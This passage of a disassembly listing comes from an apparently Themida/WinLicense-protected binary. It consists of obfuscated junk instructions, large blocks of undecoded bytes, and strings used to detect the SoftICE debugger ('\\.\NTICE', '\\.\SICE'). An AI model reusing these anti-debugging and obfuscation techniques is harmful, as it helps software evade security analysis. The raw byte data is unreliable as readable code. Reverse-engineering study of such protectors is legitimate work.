0FFFF977Bh ; --------------------------------------------------------------------------- loc_517A94: ; CODE XREF: Themida_:005166DCj add esi, 2 xchg esi, [esp] mov esp, [esp] mul cx push small 6B9Ch mov [esp], dx push ax pushf jmp loc_512ACD ; --------------------------------------------------------------------------- loc_517AB3: ; CODE XREF: Themida_:00502D14j push ecx push ebx jmp loc_5059F0 ; --------------------------------------------------------------------------- dw 0F658h dd 0F6C3FED3h, 50C3FED3h, 0D8F6EEB0h, 0E8C06804h, 51762C02h dd 0E9C0C9B1h, 0BCC98005h, 0FE79E180h, 0D5F180C1h, 859C800h dd 0CFE958C3h db 0E0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_517AEB: ; CODE XREF: Themida_:00503B06j mov eax, 24D4048Ah dec eax shr eax, 3 xor eax, 6D963233h and eax, 0EC85DC4h or eax, 47303CEFh xor eax, 4F383CEBh add edx, eax pop eax xchg edx, [esp] mov esp, [esp] push esi mov esi, esp jmp loc_512A39 ; --------------------------------------------------------------------------- db 5Eh, 8Bh, 2Ch dd 4C48324h, 0FF9935E9h, 1C8966FFh, 0A707E924h, 0F101FFFFh dd 8324348Bh, 0E18104C4h, 7BAD0903h, 6600BE56h, 0F10103A3h dd 0ABC9815Eh, 83316575h, 3C8904ECh, 3D32E924h, 0C87FFFFh dd 0FF565C24h, 8B042474h, 0C4832434h, 24048F04h, 0E924248Bh dd 0FFFFB9E2h, 0E6895659h, 4C681h, 73E90000h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517B7F: ; CODE XREF: Themida_:00507D23j shr eax, 12h xor eax, ecx xor eax, esi xor esi, eax xor eax, esi push ebx push esp pop ebx jmp loc_505463 ; --------------------------------------------------------------------------- dw 8150h dd 3D1B242Ch, 81592A9Bh, 9B3D1BC1h, 0CB29582Ah, 64BF5759h dd 5039C167h, 3512BB53h, 874B6AD8h, 1D6E9FBh, 1C890000h dd 1F99BB24h, 814B2921h, 0F70BD7EBh, 2AE95300h db 0DDh, 0FEh, 0FFh byte_517BCF db 66h ; DATA XREF: Themida_:00502948o dd 5724048Bh, 0E448E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517BDA: ; CODE XREF: Themida_:00503B36j mov ch, 0Dh neg ch inc ch dec ch inc ch neg ch xor ch, 55h add al, ch pop ecx add al, bl push bx mov bh, 59h sub al, bh pop bx pop bx jmp loc_507F17 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EE010000h, 4EC835Dh, 0E9242C89h, 0FFFEDF18h, 5065E957h dd 16BFFFFFh, 811DDB5Fh, 0FA6DF0C2h, 0A52BE936h, 8166FFFFh dd 0E977E0F5h, 0FFFEC9B5h, 4BE56h, 0F2010000h, 2414335Eh dd 33241431h, 0E95C2414h, 0FFFEC728h, 2E6814Eh, 812AE376h dd 0BBCD84C6h, 5EF02160h, 0FFE55FE9h, 243C8BFFh, 0FFED86E9h dd 243489FFh, 1F243481h, 5F09F26Ah, 7AC168h, 241C8900h dd 0FF350BE9h, 0C18149FFh, 34BB1299h, 0D5AFC181h, 6C817E98h dd 381C0424h, 35E9425Bh, 50FFFFE7h, 0FF63B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_517C9D: ; CODE XREF: Themida_:0050651Dj add edx, 4 jmp loc_50370A ; --------------------------------------------------------------------------- dd 215DEE89h, 0F5815EF5h, 70862416h, 34FFE901h, 0C4835D24h dd 74FF5104h, 8F590424h, 248B2404h, 9CC88524h, 0FEADFAE9h dd 0CCCB80FFh, 81E28952h, 4C2h, 0BA525600h, 75907C05h dd 7961EA81h, 0C281239Fh, 0AE0EFD5Eh, 295AD689h, 3AE95EF2h dd 0B0FFFF45h, 0E9D8F6F8h, 0FFFEC10Ch, 23DEE956h, 248BFFFFh dd 40766824h, 34890000h, 0E9E68924h, 0FFFF5624h, 5D2434FFh dd 0E95A5452h, 0FFFF5735h, 4EC81h, 2C890000h, 2129BD24h dd 0EB8917B6h, 5D2434FFh, 4C481h, 39E90000h, 53FFFF09h dd 0C7FE4EB7h, 0E929CF80h, 0FFFEF641h dword_517D54 dd 33243C31h, 3C31243Ch, 0F250E924h ; DATA XREF: Themida_:00502990o db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_517D62: ; CODE XREF: Themida_:00509B50j sub esi, 0A061CB0Eh xor eax, esi pop esi sub esp, 4 mov [esp], ebx mov ebx, 3F8F615Bh sub ebp, 7A3842E1h add ebp, ebx push esi mov esi, 7A3842E1h add ebp, esi pop esi pop ebx jmp loc_50A536 ; --------------------------------------------------------------------------- dd 0E9FB8747h, 0FFFFD72Bh, 0E904E1C1h, 0FFFFDA86h, 8251FBBFh dd 932AE90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517DAA: ; CODE XREF: Themida_:0050DA7Bj push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_50521C ; --------------------------------------------------------------------------- db 89h dd 19E9242Ch, 0B6FFFEF2h, 0E0C5E902h, 0C481FFFEh, 4, 4EC81h dd 4890000h, 4BD6B824h, 0C3313274h, 5624048Bh, 0FF4EA3E9h dd 5E5856FFh, 0E95EF029h, 0FFFF8843h, 66C0B60Fh, 0E987048Fh dd 0FFFEACCFh ; --------------------------------------------------------------------------- loc_517DFC: ; CODE XREF: Themida_:0050AAC3j push ebp push ecx push dword ptr [esp+4] pop ecx jmp loc_50FD78 ; --------------------------------------------------------------------------- loc_517E08: ; CODE XREF: Themida_:0050BED7j add esi, 1 sub esi, 35173452h sub ebx, 3F9444AFh jmp loc_509605 ; --------------------------------------------------------------------------- db 59h dd 4BA52h, 0D3290000h, 0E924148Bh, 0FFFFB0D1h dword_517E30 dd 24048B66h, 8904EC83h, 0EC81242Ch, 4, 0FF1D63E9h ; DATA XREF: Themida_:00502A80o db 0FFh ; --------------------------------------------------------------------------- loc_517E45: ; CODE XREF: Themida_:00511E50j add esp, 4 add esp, 4 push ecx pop esi jmp loc_50967D ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0BF570000h, 2, 535FFB01h, 42474FFh, 24048F5Bh dd 0FFAFC5E9h, 241433FFh, 0E924248Bh, 0FFFEEBB9h, 2C0590B8h dd 0ED1E920h, 148BFFFFh, 4C48324h, 24048B66h, 3FC1E955h dd 0BF57FFFFh, 7D8127DBh, 0FFCABDE9h, 0D7BD55FFh, 554F3219h dd 0FEB109E9h, 0BBC581FFh, 10D2E51h, 3B7568CDh, 14890000h dd 51BBBA24h, 0D5290D2Eh, 0FF249CE9h, 0C3F381FFh, 8111F16Fh dd 4D45F2E3h, 1BF38152h, 0E9027B30h, 0FFFFAFBFh, 243C875Bh dd 0E924248Bh, 0FFFEF843h, 5468F828h, 8900001Eh, 0E8B5240Ch dd 0FE30C580h, 0A8E580C5h, 8003E5C0h, 0E828F8EDh, 0E9202C59h dd 0FFFFDC76h, 68241C89h, 2B0Eh, 55243C89h, 0E36FE068h dd 0DDF75D31h, 0B645C581h, 0A6E96CF2h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517F33: ; CODE XREF: Themida_:0050833Fj add edx, 43146FDCh jmp loc_50C9C7 ; --------------------------------------------------------------------------- dw 0E700h dd 5842EF80h, 6602EC83h, 0B1240C89h, 66C800DCh, 83240C8Bh dd 20E902C4h db 0C9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_517F5B: ; CODE XREF: Themida_:0050C9C9j pop edx sub edx, edi pop edi add edi, edx pop edx sub eax, 74530BF2h sub eax, 352D4B07h sub eax, edi jmp loc_507AD0 ; --------------------------------------------------------------------------- db 0E8h dd 14h, 2EB586B9h, 73470ACBh, 0C415826Fh, 0FF2D348Dh, 0BEEA36D7h dd 0E95AFB8Bh, 0Ah, 0A8A69ED3h, 74C3153Bh, 0C2812862h dd 6A08h, 1BEF8166h, 0BEC0h, 0B9660000h, 48B8344h, 0DA8B5332h dd 0FCE88159h, 8B6B8993h, 9FF081F8h, 0F723332h, 381h, 0FE8B6600h dd 3583E881h, 0B70F4933h, 0BF6650FFh, 48FBE0Ah, 60CEB332h dd 1820Fh, 66F80000h, 61F9D5BAh, 8B03EE83h, 0C6B94EFEh dd 8151241Bh, 0FF96A0FEh, 0AB850FFFh, 60FFFFFFh, 13E8h dd 0E6A55C00h, 0F68CFE8Ch, 0D8D066FFh, 150F5FC7h, 82C5ACAFh dd 61595F53h, 535536EBh, 32335245h, 6C6C642Eh, 56444100h dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h dd 0A07D7h, 120004h, 0C000Bh, 1A5000Ch, 4D970A4Eh, 8CEE9h dd 0A49F6800h, 60E905E4h, 68FFFDDCh, 5E4A51Ch, 0FDDC56E9h dd 0A68368FFh, 4CE905E4h, 68FFFDDCh, 5E4A793h, 0FDDC42E9h dd 0A7FB68FFh, 38E905E4h, 68FFFDDCh, 5E4A8FDh, 0FDDC2EE9h dd 0A96D68FFh, 24E905E4h, 9EFFFDDCh, 0F3B65C58h, 261B8703h dd 81E0EEB2h, 0F74A5056h, 0E512B806h, 763CA1FEh, 0DCE21968h dd 5897336h, 692FA899h, 0A700616Dh, 0F9FC1AB6h, 0FE4266Fh dd 6347CC72h, 0C3DF5BFCh, 0E57601FAh, 0F7CB9BA0h, 0E55B9081h dd 10A73442h, 45B5F4D0h, 8A976079h, 8236A3A6h, 1A988DF1h dd 86236E7Fh, 0DE46183Ch, 0E6691857h, 86541041h, 7560C119h dd 2A67D437h, 103D8A91h, 54E051F6h, 8D2A1986h, 198654CCh dd 4B202E05h, 0A9E86B1Eh, 51F6692Dh, 198654E0h, 18617A31h dd 0E4641E7Eh, 0E4A7DA91h, 5829B5F3h, 2B9C199Fh, 4E1EC004h dd 70F583Bh, 7F10000h, 0B2220783h, 6199E8F6h, 5F0B15Dh dd 0B5261B87h, 0AD54E3EFh, 39A5EB10h, 87039148h, 6E7438A2h dd 32D8DE1Bh, 0E556F332h, 3CF9FC1Dh, 696EB571h, 9DE8AE29h dd 0A9EDE958h, 0B3D0297Ch, 35926695h, 0FC18B904h, 0FC2966DDh dd 3595DC4Dh, 0BAD3E118h, 0A7007847h, 0E535DF78h, 63D801FDh dd 733FBDFCh, 0A4E81257h, 0FD91E41h, 9624E817h, 0AFD40165h dd 45B6D22h, 92210065h, 72000006h, 0A79A0084h, 1A6F6B2Fh dd 7534D2DEh, 0AB9E0482h, 0C9666C32h, 5A68952Ah, 800ECDBCh dd 0E9B5271Ah, 5D5B9CEDh, 0D3748DB1h, 0F9FC1C62h, 6E08F2B3h dd 99D82369h, 80C35A60h, 8D345755h, 0D63F4E4Ch, 0C058A094h dd 1780AE86h, 0C2621AE5h, 51F6698Fh, 0FC18DDE0h, 0C5617A31h dd 3A047308h, 7FA7h, 2FAE9B00h, 18B9C98Ah, 9A2318FCh, 7E6422D7h dd 0B9FB8870h, 10C9FC18h, 0B976E740h, 0DAAFFC18h, 0F5229F1Dh dd 0E31958E9h, 0BC74BEDFh, 0F380502Fh, 920C11EAh, 18C80435h dd 0F061C6FCh, 21FC18C8h, 0E677CC4Ah, 0DC19054Eh, 63E6531Eh dd 7135A1E0h, 0E85B0F68h, 85F201FBh, 98400382h, 8CF879DEh dd 5229F9FBh, 745586E5h, 7830FCDh, 91F4B822h, 89CA6FEEh dd 58F9FB8Ch, 0B277DAE3h, 8F000005h, 0D823696Eh, 0DB4E62EFh dd 0FACEF47Eh, 95930401h, 650BBA0Dh, 0CAFFBCCh, 0CA33095Eh dd 0D86553C4h, 84F1BF3Ch, 0A93E434Fh, 0A7E0CD9Fh, 0C339427h dd 0B1A207CBh, 60F9FA02h, 82B3140Bh, 53F9FA02h, 2823AFE4h dd 0C6CA0D2Bh, 0E15E8B11h, 3DBCFF7Eh, 6A71477h, 1FE70ABDh dd 296FF804h, 0F31DD6ACh, 0FAB1D5F6h, 0CAD60447h, 397F7DCCh dd 22ADF8BEh, 5992E9B7h, 0ED54B7ECh, 241AEECh, 89FE7A2Bh dd 52B95FCh, 0EBED0000h, 965E23AFh, 45B5F412h, 0E9EC5D79h dd 994227A3h, 91708F0Bh, 0C5C1CF0Ch, 0A32F7564h, 0A901CDEh dd 0DEC4C237h, 94AEF16h, 0D8F9FC1Fh, 696E9155h, 6099D823h dd 0A8E5AB50h, 0B98D3B5Dh, 18BB8CABh, 78AAD0FCh, 0D73A0415h dd 0FFFFFEBDh, 7BEB1150h, 7D83319Ch, 6AB1EEF3h, 0AEE2D8E1h dd 18A1EDEFh, 831AA059h, 2052936h, 0B9352683h, 97ECFC18h dd 5A63CD86h, 3790E217h, 0F56B6FC8h, 1FA201FAh, 0FAE8B9BAh dd 0A61368F9h, 3E123F38h, 0EBD8AE0Bh, 44330418h, 0D6E97E21h dd 307E7F41h, 3BF760D5h, 6AB3144Bh, 0F7DC61D4h, 0D70544C5h dd 0A23BB0CBh, 8845CCB8h, 2545C8E7h, 5E15B5B4h, 0B219536h dd 0C7CD6CB9h, 67AC3D6Ah, 14Dh, 0CC720F5Bh, 5BFC6347h dd 1FAC3DFh, 60C73976h, 0D010DCCAh, 58CFE360h, 46F897FFh dd 7A81FEDEh, 0BDAC808Dh, 64BE721Ch, 0A3A69DE4h, 15B1F7E0h dd 0E8EFA354h, 0B50875A2h, 0B81EC0A3h, 41B82EDh, 0FBFD0000h dd 0A62E13BFh, 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh dd 35D1DF1Ch, 933F8574h, 7A602CAEh, 0CED4D207h, 195AFF06h dd 0C8F9FC1Eh, 7B188145h, 4577D057h, 9801FD5Ch, 0FFFDBCA3h dd 4A0D8CB3h, 3B3C0D8Bh, 0EAF9FC1Dh, 1D41F257h, 0DB90F9FCh dd 0F8495D6Eh, 0E46FBE02h, 0EF48B5F3h, 0E2045C86h, 3B3BC87h dd 63950000h, 0EC6BB27h, 0BD3D0C8Ah, 6194D5F1h, 11CABF5Bh dd 9E80783h, 5D7947B4h, 3BA7EDECh, 82089446h, 567C3ABFh dd 81B2176Eh, 50F9FC1Eh, 696EE92Dh, 0D659D823h, 18B9C071h dd 815A11FCh, 89319DEh, 7C8F13C9h, 63BA08F5h, 9DE9DD87h dd 8035505Eh, 0DB4C3D4Bh, 372E9A39h, 87CF1867h, 792A5AFh dd 25D0FC18h, 74B0CADh, 0AD9AFC18h, 6BA01570h, 4541B5F4h dd 1614B526h, 3A04D1BCh, 0FFFD1013h, 696E57FFh, 51AB3C23h dd 2190365Eh, 2FF8627h, 9136291Dh, 1FA10ADh, 0F2BE3C7Fh dd 0D8C6BDE9h, 0C17D0F12h, 76F9685Ch, 18B960D1h, 0E1FAB1FCh dd 0C39D19BEh, 0B53401FAh, 0FAB32314h, 4885F2F9h, 26283F18h dd 0E360A1D2h, 70D958CFh, 51E1C4FFh, 1805916h, 3A25EB8h dd 0A3FAB1ACh, 62E5C956h, 2157BDC5h, 681F54B2h, 0ECEAB029h dd 0DEDA1A5Dh, 1795420Dh, 834D77EAh, 5C274250h, 2B1h, 0A5216593h dd 0E9410C4h, 0D7F3BF3Bh, 0B9256392h, 18D13C8h, 49B20BEAh dd 0EFEA5F7Bh, 964425A1h, 3CBD8C0Ah, 156C507Eh, 0FC1183B4h dd 0EBD352F9h, 0D0577B18h, 0FD5C4B77h, 3DBF8201h, 0E93C827Bh dd 47FA376Ch, 0CCCAD604h, 0E8337F7Dh, 0A0EEE6A9h, 0A12A7137h dd 0C6C43574h, 0AA9536A7h, 3571652Dh, 4F8408F2h, 5C86B922h dd 8AD5B004h, 241h, 35D1D503h, 9E048074h, 67632FABh, 0C9D5D302h dd 913D8378h, 0B9227B1Ah, 5F9AEFEBh, 6F4B551h, 0AC2D1CBAh dd 85FCE0EEh, 0FC103324h, 7BA3E2F9h, 0EEA039AEh, 73E4A255h dd 506909DEh, 53D6FA67h, 0FD44C8F6h, 0BFFE0301h, 67E8713Dh dd 0B3F9FC02h, 1EF57A9Eh, 0D2A9B578h, 2063E265h, 6BD6F7B5h dd 0EAFCF46Eh, 58BDCF13h, 0CFCF8029h, 2906F9FCh, 7AE5D6FCh dd 0CB72D74Ah, 1AF9FCCFh, 6697DE2Dh, 9190CD58h, 0CDEF5E78h dd 4A93D7F4h, 0A502D607h, 0F9FCA2B4h, 3DD9166Dh, 810DCD8Ch dd 0ECC04F38h, 0F66DFA7Dh, 0F47901ECh, 86CA8B2Ch, 2C1BF9FCh dd 0C48DD6F7h, 16F9FC86h, 86013297h, 0D7DDF9FCh, 70F80C7h dd 661956FCh, 0FCA590C1h, 0D1EA41F9h, 24AFFEB5h, 0D99A3FB3h dd 8F9FCA5h, 2EA7C633h, 2880ECBh, 0A9FCBA3Fh, 0A2040647h dd 357364D2h, 991FD8A9h, 9B400302h, 6445F615h, 8FB200FDh dd 565008CCh, 909205CDh, 0A8B31441h, 0A554171Ah, 0D84F8C1Fh dd 0FC18FE7Fh, 8F5817F9h, 43EFC7h, 0B5D0D4h, 793FB8A7h dd 93BB2C5Dh, 345288EFh, 28D59C2Dh, 0A0A1039Ah, 0BB1C9FE2h dd 0F9FC04BAh, 83CB1C6Bh, 89647B3h, 703EBF82h, 6C30AA15h dd 0BFB7B119h, 0A69730B3h, 0A4F9FC04h, 0D9126937h, 800CCCBDh dd 22BBF065h, 71F0BE3Fh, 1A9049D8h, 0D4F54B36h, 867336h dd 0B8199CE5h, 4E08B168h, 0C3CF0876h, 0B05E8B17h, 518808F1h dd 4CF71643h, 0B8FA018Fh, 0EA21B639h, 9EE50D03h, 0FDB8B982h dd 12694240h, 49B581C9h, 0BD8C0A90h, 0D22F7E3Ch, 2E6A934Dh dd 79B6E3A9h, 0A0E561C6h, 0ED1CBFA2h, 22D60B4Ch, 0EC6DDA38h dd 9D32F249h, 0D5F12EC4h, 0D6497DE2h, 0C7315D71h, 6CBFF4C5h dd 28B6F4E5h, 7A811699h, 4CE43DC2h, 6E99DA63h, 6A933607h dd 8E94C124h, 0B02928B1h, 0EEB693EAh, 398E93B7h, 6EFB877Fh dd 669F6AE4h, 5BE8F5C2h, 8020DE7Fh, 0EA0A76E7h, 0CB2B1C05h dd 0C8A4FF2h, 7036A386h, 6D2BAA15h, 0A77A6DFAh, 99D2EA85h dd 93DD2540h, 0E4A257A3h, 484E8BFEh, 3523Dh, 0A7680000h dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 1268F278h dd 89000031h, 0BF572424h, 4, 4247C01h, 1222685Fh, 34890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebx mov ebx, 0C6E6439h shl ebx, 4 dec ebx sub ebx, 0C465296Eh inc ebx shr ebx, 2 shl ebx, 5 and ebx, 696D3AE8h sub ebx, 75B179ACh add ebx, 7B8E0D9Ch mov esi, ebx pop ebx push 7509h mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], esi pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 34h, 8Ch, 0A4h dd 0EB5D0F17h, 0A84574CCh, 0B8601B50h, 5E4ABD3h, 0E0FFC503h dd 315EFAFCh, 231C07AAh, 35A8F205h, 2EF14E66h, 3618953Eh dd 14EECBF8h, 144EA180h, 389DA41Dh, 38657D0Dh, 406782C2h dd 55EADDE2h, 483ADA45h, 33A19E76h, 3B0C6BB0h, 18BD753Ch dd 3364CEA3h, 4C03C381h, 1CC1905h, 6B634Bh, 38CA704Ah dd 47BC28FFh, 67BBC6Ah, 593E596Eh, 1B70498Ah, 71E9h, 0BD836000h dd 5E22119h, 5840F00h, 0E9000000h, 5Ch, 3E80006Ah, 8850F30h dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh dd 406A0000h, 2E946h, 6A0000h, 1AB9858Dh, 509005E2h, 96509690h dd 95FF006Ah, 5E22A6Dh, 85C6C361h, 5E20A49h, 0D701684Dh dd 4812F93h, 0A19FA724h, 0DB5FF74h, 8D05E215h, 0E239ED85h dd 89D0FF05h, 0E22A6D85h, 0AAE905h, 6F530000h, 61777466h dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h dd 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 1D858900h, 8D05E4AEh dd 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h, 95FF8000h dd 5E4AE29h, 0B5FF196Ah, 5E4AE1Dh, 6A016Ah, 0ADB2858Dh dd 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 0FF05E208h, 0E4AE19B5h dd 2595FF05h, 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh dd 0AE1D8589h, 858D05E4h, 5E4AE19h, 83858D50h, 5005E4ADh dd 168h, 2995FF80h, 6A05E4AEh, 1D858D04h, 5005E4AEh, 6A046Ah dd 0ADDC858Dh, 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 0FF05E208h dd 0E4AE19B5h, 2595FF05h, 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h dd 0C305E20Bh, 0AE1D8589h, 858D05E4h, 5E4AE19h, 83858D50h dd 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh, 1D858D04h, 5005E4AEh dd 6A046Ah, 0ADC4858Dh, 0FF5005E4h, 0E4AE19B5h, 0C595FF05h dd 0FF05E208h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh, 0E4AE19B5h dd 0FD95FF05h, 0C305E20Bh, 0AE1D8589h, 858D05E4h, 5E4AE19h dd 83858D50h, 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh, 1D858D04h dd 5005E4AEh, 6A046Ah, 0ADEF858Dh, 0FF5005E4h, 0E4AE19B5h dd 0C595FF05h, 0FF05E208h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh dd 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh, 0AE1D8589h, 858D05E4h dd 5E4AE19h, 83858D50h, 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh dd 1D858D04h, 5005E4AEh, 6A046Ah, 0AD9F858Dh, 0FF5005E4h dd 0E4AE19B5h, 0C595FF05h, 0FF05E208h, 0E4AE19B5h, 2595FF05h dd 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh, 192DBD83h dd 0F0005E2h, 0B84h, 2D9D8B00h, 8305E219h, 3894CC3h, 2DBD83C3h dd 5E219h, 0B840Fh, 9D8B0000h, 5E2192Dh, 8950C383h, 0BD83C303h dd 5E2192Dh, 0B840F00h, 8B000000h, 0E2192D9Dh, 54C38305h dd 83C30389h, 0E2192DBDh, 840F0005h, 0Bh, 192D9D8Bh, 0C38305E2h dd 0C3038958h, 192DBD83h, 0F0005E2h, 0B84h, 2D9D8B00h dd 8305E219h, 3895CC3h, 8960C3C3h, 0E4AE1D85h, 19858D05h dd 5005E4AEh, 0AD83858Dh, 685005E4h, 80000001h, 0AE2995FFh dd 46A05E4h, 0AE1D858Dh, 6A5005E4h, 8D006A04h, 0E4AE1485h dd 0B5FF5005h, 5E4AE19h, 8C595FFh, 0BD8305E2h, 5E21EA9h dd 0C840F00h, 0FF000000h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh dd 0E4AE19B5h, 0FD95FF05h, 6105E20Bh, 858960C3h, 5E4AE1Dh dd 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 1685005h, 0FF800000h dd 0E4AE2995h, 8D046A05h, 0E4AE1D85h, 46A5005h, 858D006Ah dd 5E4ADF6h, 19B5FF50h, 0FF05E4AEh, 0E208C595h, 0A9BD8305h dd 5E21Eh, 0C840Fh, 0B5FF0000h, 5E4AE19h, 0AE2595FFh, 0B5FF05E4h dd 5E4AE19h, 0BFD95FFh, 0C36105E2h, 1D858960h, 8D05E4AEh dd 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h, 95FF8000h dd 5E4AE29h, 858D046Ah, 5E4AE1Dh, 6A046A50h, 0FD858D00h dd 5005E4ADh, 0AE19B5FFh, 95FF05E4h, 5E208C5h, 1EA9BD83h dd 0F0005E2h, 0C84h, 19B5FF00h, 0FF05E4AEh, 0E4AE2595h dd 19B5FF05h, 0FF05E4AEh, 0E20BFD95h, 60C36105h, 0AE1D8589h dd 858D05E4h, 5E4AE19h, 83858D50h, 5005E4ADh, 168h, 2995FF80h dd 6A05E4AEh, 1D858D04h, 5005E4AEh, 6A046Ah, 0AE05858Dh dd 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 8305E208h, 0E21EA9BDh dd 840F0005h, 0Ch, 0AE19B5FFh, 95FF05E4h, 5E4AE25h, 0AE19B5FFh dd 95FF05E4h, 5E20BFDh, 8960C361h, 0E4AE1D85h, 19858D05h dd 5005E4AEh, 0AD83858Dh, 685005E4h, 80000001h, 0AE2995FFh dd 46A05E4h, 0AE1D858Dh, 6A5005E4h, 8D006A04h, 0E4AE0C85h dd 0B5FF5005h, 5E4AE19h, 8C595FFh, 0BD8305E2h, 5E21EA9h dd 0C840F00h, 0FF000000h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh dd 0E4AE19B5h, 0FD95FF05h, 6105E20Bh, 85C760C3h, 5E4AE1Dh dd 1, 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 2685005h, 0FF800000h dd 0E4AE2995h, 0FC00B05h, 0F84h, 1D85C700h, 5E4AEh, 0E9000000h dd 4Dh, 858D046Ah, 5E4AE1Dh, 6A046A50h, 97858D00h, 5005E4ADh dd 0AE19B5FFh, 95FF05E4h, 5E208C5h, 840FC00Bh, 0Fh, 0AE1D85C7h dd 5E4h, 0AE90000h, 0C7000000h, 0E4AE1D85h, 105h, 19B5FF00h dd 0FF05E4AEh, 0E20BFD95h, 858B6105h, 5E4AE1Dh, 858960C3h dd 5E4AE1Dh, 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 1685005h dd 0FF800000h, 0E4AE2995h, 8D046A05h, 0E4AE1D85h, 46A5005h dd 858D006Ah, 5E4AD97h, 19B5FF50h, 0FF05E4AEh, 0E208C595h dd 0A9BD8305h, 5E21Eh, 0C840Fh, 0B5FF0000h, 5E4AE19h, 0AE2595FFh dd 0B5FF05E4h, 5E4AE19h, 0BFD95FFh, 0C36105E2h, 1D858960h dd 8D05E4AEh, 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h dd 95FF8000h, 5E4AE29h, 858D046Ah, 5E4AE1Dh, 6A046A50h dd 0A9858D00h, 5005E4ADh, 0AE19B5FFh, 95FF05E4h, 5E208C5h dd 1EA9BD83h, 0F0005E2h, 0C84h, 19B5FF00h, 0FF05E4AEh dd 0E4AE2595h, 19B5FF05h, 0FF05E4AEh, 0E20BFD95h, 0C6C36105h dd 0E20A4985h, 7685205h, 0FFADE47Bh, 0E21189B5h, 1595FF05h dd 8905E22Ch, 0E4AE2985h, 4985C605h, 5205E20Ah, 2E00E568h dd 89B5FF90h, 0FF05E211h, 0E22C1595h, 25858905h, 0C605E4AEh dd 0E20A4985h, 35685205h, 0FFB9BF12h, 0E21189B5h, 1595FF05h dd 8905E22Ch, 0E208C585h, 4985C605h, 5205E20Ah, 78103468h dd 89B5FF98h, 0FF05E211h, 0E22C1595h, 0FD858905h, 0C605E20Bh dd 0E20A4985h, 0D4685205h, 0FFC005DBh, 0E21189B5h, 1595FF05h dd 8905E22Ch, 0E2046985h, 13E805h, 9FCD0000h, 0D8158E6Ah dd 3C666312h, 27110199h, 0FBEA64Ch, 5FEF8A7Ah, 2FBFBA66h dd 7012C781h, 0C8810000h, 2977C46Bh, 0B70FF62Bh, 3E34FFD0h dd 0E3BB6660h, 0A9C1BF29h, 5B617D3Dh, 1D88C381h, 816614A1h dd 81C246F2h, 7E0BDAC3h, 0AE970h, 96140000h, 0A628FD5Ch dd 0C1BD6682h, 31B6EB81h, 76B86CF7h, 89421C03h, 5951371Ch dd 0C8E0Fh, 8B0F0000h, 6, 8F0Fh, 0EE810000h, 175E7FB4h dd 81D08B66h, 5E7FB0C6h, 5E917h, 81D70000h, 810ACEF1h dd 0FF90A0FEh, 8A850FFFh, 0E9FFFFFFh, 10h, 44FBEB02h, 156C18E9h dd 315B180Eh, 0F4A49B4Eh, 5C5C1EEBh, 49535C2Eh, 5C004543h dd 535C2E5Ch, 49565749h db 44h, 0 a_Ntice db '\\.\NTICE',0 ; DATA XREF: Themida_:004EE608o ; Themida_:004EEE10o ... dd 8166C08Bh, 0B136AD9h, 0E20A91B5h, 0A9BD8305h, 5E21Eh dd 0BD830975h, 5E21805h, 50197400h, 0B8C08B53h, 40Fh, 315D8589h dd 9D8D05E2h, 5E4B2FAh, 585BD3FFh, 1805BD83h, 740005E2h dd 0B8535017h, 40Fh, 315D8589h, 9D8D05E2h, 5E4AFE9h, 585BD3FFh dd 0FFABF0Fh, 0C08BFABFh, 7E9h, 0E98EB600h, 120BB4F2h dd 0A4985C6h, 894305E2h, 0E20ABDBDh, 0D0D56805h, 4819BC2h dd 0CB9E2724h, 11B50920h, 